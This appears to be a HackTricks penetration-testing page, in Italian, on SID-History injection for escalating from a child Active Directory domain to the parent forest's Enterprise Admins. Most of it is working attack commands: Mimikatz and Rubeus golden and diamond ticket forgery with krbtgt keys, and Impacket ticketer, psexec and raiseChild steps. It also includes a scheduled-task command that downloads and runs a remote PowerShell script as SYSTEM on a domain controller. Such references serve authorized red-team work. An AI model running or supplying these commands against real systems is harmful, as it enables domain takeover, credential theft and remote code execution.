SID-History Injection

Reading time: 6 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Attacco di Iniezione della Storia SID

L'obiettivo dell'Attacco di Iniezione della Storia SID è facilitare la migrazione degli utenti tra domini garantendo al contempo l'accesso continuo alle risorse del precedente dominio. Questo viene realizzato incorporando il precedente Identificatore di Sicurezza (SID) dell'utente nella Storia SID del loro nuovo account. È importante notare che questo processo può essere manipolato per concedere accesso non autorizzato aggiungendo il SID di un gruppo ad alta privilegio (come Enterprise Admins o Domain Admins) dalla parent domain alla Storia SID. Questa sfruttamento conferisce accesso a tutte le risorse all'interno del dominio parent.

Esistono due metodi per eseguire questo attacco: attraverso la creazione di un Golden Ticket o di un Diamond Ticket.

Per individuare il SID per il gruppo "Enterprise Admins", è necessario prima localizzare il SID del dominio radice. Dopo l'identificazione, il SID del gruppo Enterprise Admins può essere costruito aggiungendo -519 al SID del dominio radice. Ad esempio, se il SID del dominio radice è S-1-5-21-280534878-1496970234-700767426, il SID risultante per il gruppo "Enterprise Admins" sarebbe S-1-5-21-280534878-1496970234-700767426-519.

Puoi anche utilizzare i gruppi Domain Admins, che termina in 512.

Un altro modo per trovare il SID di un gruppo dell'altro dominio (ad esempio "Domain Admins") è con:

powershell
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid

Golden Ticket (Mimikatz) con KRBTGT-AES256

bash
mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit" /user is the username to impersonate (could be anything) /domain is the current domain. /sid is the current domain SID. /sids is the SID of the target group to add ourselves to. /aes256 is the AES256 key of the current domain's krbtgt account. --> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option /startoffset sets the start time of the ticket to 10 mins before the current time. /endin sets the expiry date for the ticket to 60 mins. /renewmax sets how long the ticket can be valid for if renewed. # The previous command will generate a file called ticket.kirbi # Just loading you can perform a dcsync attack agains the domain

Per ulteriori informazioni sui golden ticket controlla:

Golden Ticket

Diamond Ticket (Rubeus + KRBTGT-AES256)

powershell
# Use the /sids param Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap # Or a ptt with a golden ticket Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt # You can use "Administrator" as username or any other string

Per ulteriori informazioni sui diamond tickets controlla:

Diamond Ticket

bash
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local .\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi ls \\mcorp-dc.moneycorp.local\c$

Esegui l'escalation a DA di root o Enterprise admin utilizzando l'hash KRBTGT del dominio compromesso:

bash
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"' Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"' gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'" schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"

Con i permessi acquisiti dall'attacco, puoi eseguire ad esempio un attacco DCSync nel nuovo dominio:

DCSync

Da linux

Manuale con ticketer.py

bash
# This is for an attack from child to root domain # Get child domain SID lookupsid.py <child_domain>/username@10.10.10.10 | grep "Domain SID" # Get root domain SID lookupsid.py <child_domain>/username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID" # Generate golden ticket ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator # NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING # JUST USE THE SAME USERNAME IN THE NEXT STEPS # Load ticket export KRB5CCNAME=hacker.ccache # psexec in domain controller of root psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10

Automatic using raiseChild.py

Questo è uno script Impacket che automatizza l'innalzamento da un dominio figlio a un dominio genitore. Lo script richiede:

  • Controller di dominio di destinazione
  • Credenziali per un utente admin nel dominio figlio

Il flusso è:

  • Ottiene il SID per il gruppo Enterprise Admins del dominio genitore
  • Recupera l'hash per l'account KRBTGT nel dominio figlio
  • Crea un Golden Ticket
  • Effettua il login nel dominio genitore
  • Recupera le credenziali per l'account Administrator nel dominio genitore
  • Se l'opzione target-exec è specificata, si autentica al Domain Controller del dominio genitore tramite Psexec.
bash
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username

Riferimenti

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks